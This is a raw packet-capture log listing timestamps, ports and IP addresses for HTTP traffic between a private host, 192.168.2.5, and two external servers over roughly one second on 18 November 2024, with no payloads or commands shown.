Nov 18, 2024 19:04:20.715615988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715636015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715671062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715673923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715707064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715708017 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715743065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.716028929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.716070890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.716084003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.716120958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.716125965 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.716154099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.716156960 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.716187954 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.716188908 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.716228962 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.738306046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.738408089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.738439083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.738472939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.738514900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.738502026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.738610983 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.743570089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.743643045 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.743659019 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.743678093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.743710995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.743726015 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.743750095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.743798971 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.759282112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.759368896 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.759390116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.759434938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.759443045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.759479046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.759485006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.759514093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.759520054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.759553909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.784756899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.784792900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.784826994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.784862995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.784904957 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.784957886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.785645962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.785892010 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.785944939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.785955906 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.786005020 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.786037922 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.786055088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.829097033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.876162052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876199961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876221895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876238108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876250982 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876281023 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876632929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876667023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876686096 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876702070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876709938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876744032 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876744032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876796961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876905918 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876939058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876965046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.876971960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.876980066 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.877015114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.877021074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.877052069 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.877054930 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.877084970 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.878133059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.878166914 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.878201962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.878350019 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.878601074 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.878670931 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.880434990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.880496025 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.880837917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.880882978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.880888939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.880923986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.880959034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.880969048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.880969048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.881001949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.897677898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897726059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897763014 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897782087 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.897797108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897835016 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897855997 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.897866964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.897918940 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.902739048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.902755976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.902782917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.902805090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.902811050 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.902820110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.902843952 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.903054953 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.903070927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.903088093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.903105974 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.903139114 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.903234959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.954108953 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.957418919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957462072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957475901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957499027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957540989 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957695961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957710981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957726955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957743883 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957747936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957767010 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957791090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957931995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957948923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957964897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957978964 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.957982063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.957998037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.958014965 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.958029985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.958214998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.958240032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.958256006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.958271027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.958283901 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.958314896 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.972584963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.972659111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.972712994 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.972879887 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.974664927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.974730968 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.981489897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.981648922 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.981703043 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.999691963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999711990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999737024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999752998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999768019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999787092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.999799967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.999830008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.999836922 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.000260115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.000412941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.000567913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.001178026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.015427113 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.015470982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.015489101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.015536070 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.019613981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019642115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019658089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019797087 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.019797087 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.019921064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019939899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019984007 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.019987106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.020211935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.020258904 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.025620937 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.025677919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.025741100 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.077476025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077543974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077611923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077626944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077677965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077703953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.077725887 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.077744961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.077759027 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077775955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.077815056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.077848911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078249931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078299046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078310013 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.078315020 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078331947 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.078357935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.078399897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078416109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.078439951 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.078454971 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.084305048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.084588051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.087572098 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.120038986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120060921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120079041 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120106936 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120121956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120127916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.120280981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.120385885 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120399952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120414972 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.120428085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.120457888 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.125657082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.125706911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.125781059 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.128786087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.128815889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.128879070 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.137819052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.137949944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.138014078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.138147116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.138161898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.138237000 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.163849115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.163938999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.164021015 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.193532944 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.193697929 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.193830967 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.198296070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198321104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198338032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198354006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198374033 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198390961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198421001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198420048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.198436022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198451996 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198465109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.198467970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198489904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.198506117 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.198559046 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.198649883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.235073090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.235469103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.235690117 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.236042976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.236257076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.239099026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.240411997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240438938 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240457058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240468979 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240504980 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240504980 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240792990 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240812063 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240932941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240933895 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240942955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240958929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240973949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.240982056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.240999937 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.241013050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.252715111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.252753019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.252821922 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.253599882 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.253941059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.255197048 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.318228960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318253994 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318274021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318290949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318342924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318360090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318465948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.318465948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.318701029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318727970 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318747997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318763971 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.318798065 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.318810940 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.319256067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.319272995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.319289923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.319339037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.319339037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.319655895 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.319771051 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.323307991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.323400974 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.323585033 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.359091043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.359241009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.359540939 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.360876083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.360893011 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.360908985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.360955954 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.360987902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361004114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361040115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.361040115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.361222982 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361238956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361257076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361280918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.361289978 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.361366034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.361891985 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:21.362137079 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.362241030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.362303972 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.376849890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.376893044 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.376962900 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.378135920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.378237009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:21.378295898 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:21.438419104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438466072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438524008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438563108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:21.438601017 CET	80	49980	185.215.113.16	192.168.2.5
